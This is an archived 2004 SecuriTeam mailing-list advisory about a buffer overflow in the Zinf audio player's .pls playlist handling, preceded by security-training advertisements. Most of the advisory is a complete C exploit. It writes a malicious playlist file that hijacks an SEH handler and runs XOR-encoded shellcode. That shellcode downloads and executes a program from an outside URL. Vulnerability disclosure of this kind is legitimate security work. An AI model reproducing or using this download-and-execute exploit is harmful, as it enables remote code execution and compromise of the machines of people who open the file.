Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NEWS] Znif PLS Buffer Overflow

Subject: [NEWS] Znif PLS Buffer Overflow
Date: 4 Oct 2004 14:20:53 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Znif PLS Buffer Overflow
------------------------------------------------------------------------


SUMMARY

In short,  <http://www.zinf.org> Zinf is an audio player for Linux and 
Windows. The program is vulnerable to a buffer overflow bug in the way it 
handles playlists (".pls").

DETAILS

Vulnerable Systems:
 * Znif for Windows version 2.2.1 and prior
 * Znif Linux version 2.2.4 and prior

Immune Systems:
 * Znif Linux version 2.2.5

Exploit:
/*
this exploit generates a file exploit.pls which overflows a seh handler
jumps into a service pack independent address then it downloads and 
executes a file


  you can also download this exploit i a rar file(www.delikon.de).
  in this rar file you will find some screenshots, from OllyDbg
  which is maybe useful for beginners
*/

#include <stdio.h>
#include <windows.h>

#define SIZE 4048

char shellcode[] = "\xEB"//xored with 0x1d
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";

int main(){

char buffer[SIZE];
char exploit[]="exploit.pls";
char head[]="[playlist]File1=";
int i=0;
ULONG bytes=0;
char *pointer=NULL;
//for the decoder
short int weblength=0xff22;

ULONG RetAddr=0x10404DC4;
/*
SERVICE PACK independent
httpinput.pmi
10404DC4    5D              POP EBP
10404DC5    B8 18000000     MOV EAX,18
10404DCA    5B              POP EBX
10404DCB    C2 0800         RETN 8
*/
//jump into nops
DWORD jump=0x909025eb;
HANDLE file=NULL;

//this is a small messageBox app
char web[]="http://www.delikon.de/klein.exe";;

printf("A Buffer overflow exploit against Zinf 2.2.1 for Win32\n");
printf("Coded by Delikon|www.delikon.de|27.9.04\n");
printf("all credits goes to Luigi Auriemma\n");
printf("\n [+] generate exploit.pls\n");

memset(buffer,0x00,SIZE-1);

 file = CreateFile(exploit, 
GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_ARCHIVE,NULL);

if(file == (HANDLE)0xffffffff){

 printf("\t[+] error opening the file\n");
 printf("PRESS A KEY\n");
 getchar();
 return -1;

}
 strcpy(buffer,head);
 
 memset(buffer+strlen(buffer),0x61,17);
 //nops
 memset(buffer+strlen(buffer),0x90,20);
 //
 strcat(buffer,shellcode);
 //search for the shellcode length
 pointer=strstr(buffer,"\x22\xff");
 //weblength[0]-=strlen(web)+1;
 weblength-=strlen(web)+1;
 //increase it
 memcpy(pointer,&weblength,2);
 

 //copy the url in the buffer
 strcat(buffer,web);


 //xor the url with 0x1d
 while(*(buffer+strlen(buffer)-strlen(web)+i)){

 
  
*(buffer+strlen(buffer)-strlen(web)+i)=*(buffer+strlen(buffer)-strlen(web)+i)^0x1d;
  i++;
 }
 
 *(buffer+strlen(buffer)-strlen(web)+i)=0x1d;

 //copy the filling
 memset(buffer+strlen(buffer),0x61,517-strlen(buffer));
 //also filling ;)
 memcpy(buffer+strlen(buffer),&RetAddr,4);
 
 memset(buffer+strlen(buffer),0x41,4);
 memset(buffer+strlen(buffer),0x42,4);
  
 //jump 24 bytes forward
 memcpy(buffer+strlen(buffer),&jump,4);
 //jump into pop reg pop reg ret
 memcpy(buffer+strlen(buffer),&RetAddr,4);
 memset(buffer+strlen(buffer),0x45,4);
 memset(buffer+strlen(buffer),0x46,4);
 memset(buffer+strlen(buffer),0x47,4);
 
 

 WriteFile(file,buffer,strlen(buffer),&bytes,0);

 CloseHandle(file);
 printf("\n [+] ready press a key\n");
 getchar();

 exit(1);

}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistic.org> Luigi 
Auriemma.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NEWS] Znif PLS Buffer Overflow, SecuriTeam <=